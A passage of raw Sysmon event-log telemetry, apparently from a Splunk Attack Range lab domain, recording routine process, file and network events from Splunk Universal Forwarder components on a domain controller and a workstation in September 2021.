Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000048122Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:19.522{7BD73061-71D7-613B-370B-00000000F001}6408C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000048121Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:19.147{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E2AD32AFCAA58BF2F1B24C37DE0164FD,SHA256=D8ABADF25043CD814B536183551985059B6D56079B42B7CE57C3B6C935F9F96B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015808Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:20.820{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=06970715D7E6E27D18A2928132342BCC,SHA256=AF34CA9234903755BA491C3E3D4447BFB25E58FCBE373FC9AB3B8052AD1FCC44,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000048150Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:20.803{7BD73061-71D8-613B-390B-00000000F001}42242344C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048149Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:20.584{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-71D8-613B-390B-00000000F001}4224C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048148Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:20.584{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048147Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:20.584{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048146Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:20.584{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048145Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:20.584{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048144Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:20.584{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-71D8-613B-390B-00000000F001}4224C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000048143Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:20.584{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-71D8-613B-390B-00000000F001}4224C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000048142Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:20.585{7BD73061-71D8-613B-390B-00000000F001}4224C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000048141Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:20.537{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=FE1152D3347176B79071CD4FBD8DC0F8,SHA256=F7366203CDC99B0CEB58786FDE7DA8819F2B68ACC2987A9B76A9ABCC82E2A435,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000048140Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:20.240{7BD73061-71D8-613B-380B-00000000F001}41281016C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000048139Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:20.148{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=094182B1A9348B234B76553A73D5F4AF,SHA256=4A9105D6445809526A6DE89CF0FECF4B7C1B6BCF556330FBBD917F21E0E9F9EB,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000048138Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:20.022{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-71D8-613B-380B-00000000F001}4128C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048137Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:20.022{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048136Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:20.022{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048135Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:20.022{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048134Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:20.022{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-71D8-613B-380B-00000000F001}4128C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000048133Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:20.022{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048132Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:20.022{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-71D8-613B-380B-00000000F001}4128C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000048131Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:20.023{7BD73061-71D8-613B-380B-00000000F001}4128C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000015810Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:21.835{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FD6676A48AEEED13B81FD8EF2543401F,SHA256=6A140B340D371B380C734EBE7BF9739108E952214F5EF8D4E24C8C71332F90AF,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048161Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:19.392{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59450-false10.0.1.12-8000- 10341000x800000000000000048160Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:21.725{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-71D9-613B-3A0B-00000000F001}5852C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048159Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:21.725{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048158Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:21.725{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048157Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:21.725{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048156Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:21.725{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048155Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:21.725{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-71D9-613B-3A0B-00000000F001}5852C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000048154Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:21.725{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program 